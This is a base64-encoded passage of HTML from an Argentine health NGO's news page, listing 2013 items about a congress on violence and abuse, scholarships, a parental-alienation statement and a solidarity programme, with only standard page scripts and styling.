ZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319Cn0KLy8tLT4KPC9zY3JpcHQ+CiAgICAgICAgICAgICA8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoJCQkgCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0KI0xheWVyMSB7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCXdpZHRoOjY1MXB4OwoJaGVpZ2h0OjIxOHB4OwoJei1pbmRleDoxOwp9CiNMYXllcjIgewoJcG9zaXRpb246YWJzb2x1dGU7Cgl3aWR0aDoyMDBweDsKCWhlaWdodDoxMTVweDsKCXotaW5kZXg6MTsKCXZpc2liaWxpdHk6IHZpc2libGU7Cn0KLkVzdGlsbzEgewoJZm9udC1zaXplOiAxOHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzIgewoJZm9udC1zaXplOiAxNHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzMge2NvbG9yOiAjNTA2OTkwOyBsaW5lLWhlaWdodDogMTJweDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LWZhbWlseTogVGFob21hO30KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGxlZnRtYXJnaW49IjIiIG1hcmdpbndpZHRoPSIyIj4KPHRhYmxlIHdpZHRoPSI2MDgiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMiUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzA3LmpwZyIgd2lkdGg9IjI0IiBoZWlnaHQ9IjE0IiAvPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI5MCUiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18wNy5qcGciPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI4JSIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGNvbHNwYW49IjQiPjxiciAvPgogICAgICA8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIyJSI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgICA8dGQgd2lkdGg9IjkzJSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CjwhLS0gSU5JQ0lPIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzIzMDQyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjIvMTEvMjAxMzwvc3Bhbj48YnI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxzdHJvbmc+MTQsIDE1IHkgMTYgZGUgTm92aWVtYnJlIEFCSUVSVEEgTEEgSU5TQ1JJUENJJk9hY3V0ZTtOISAoY29uIGRlc2N1ZW50byBoYXN0YSBlbCAyNy84KTxiciAvPjwvc3Ryb25nPjwvcD4NCjxwPjxzdHJvbmc+QUJJRVJUQSBMQSBSRUNFUENJJk9hY3V0ZTtOIERFIFRSQUJBSk88YSBocmVmPSJodHRwOi8vd3d3LmNvbmdyZXNvdmlvbGVuY2lhLmNvbS9pbmRleC5waHA/aWQ9bW9kYWxpZGFkZXMiIHRhcmdldD0iX2JsYW5rIj4gKG1hcyBpbmZvKTwvYT48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij48c3Ryb25nPk9yZ2FuaXphOiBTYWx1ZCBBY3RpdmE8L3N0cm9uZz48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+SW5jcmlwdG9zIGFsIFBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGltcG9ydGFudGVzIGRlc2N1ZW50b3MhPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2lvbjogVW5pdmVyc2lkYWQgZGVsIEVzdGUsIExhIFBsYXRhIEJ1ZW5vcyBBaXJlczwvcD4NCjxwPk1hcyBkZSAxNTAgdHJhYmFqb3MgcHJlc2VudGFkb3MsIHVsdGltb3MgZGlhcyBwYXJhIGluc2NyaWJpcnNlIGNvbiBkZXNjdWVudG8hITwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPkluc2NyaWJpcnNlPC9hPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPjxiciAvPjwvYT48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDEiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MDQvMTEvMjAxMzwvc3Bhbj48YnI+RWwgY29sZWdpbyBkZSBQc2lj82xvZ29zIGRlIEPzcmRvYmEgc2UgcHJvbnVuY2lhIGVuIHJlbGFjafNuIGFsIFNBUCB5IGVuIGNvbmNvcmRhbmNpYSBjb24gbG8gZXhwcmVzYWRvIHBvciBlbCBDb2xlZ2lvIGRlIFBzaWPzbG9nb3MgZGUgTWFyIGRlbCBQbGF0YSB5IGVsIENvbGVnaW8gZGUgUHNpY/Nsb2dvcyBkZSBsYSAgUHJvdmluY2lhIGRlIEJ1ZW5vcyBBaXJlczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+Jm5ic3A7PC9wPg0KPHA+TGFzIGNvbnRyb3ZlcnNpYXMgZ2VuZXJhZGFzIGVuIHJlbGFjaSZvYWN1dGU7biBhbCAic2luZHJvbWUgZGUgYWxpZW5hY2kmb2FjdXRlO24gcGFyZW50YSIgU0FQLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgIC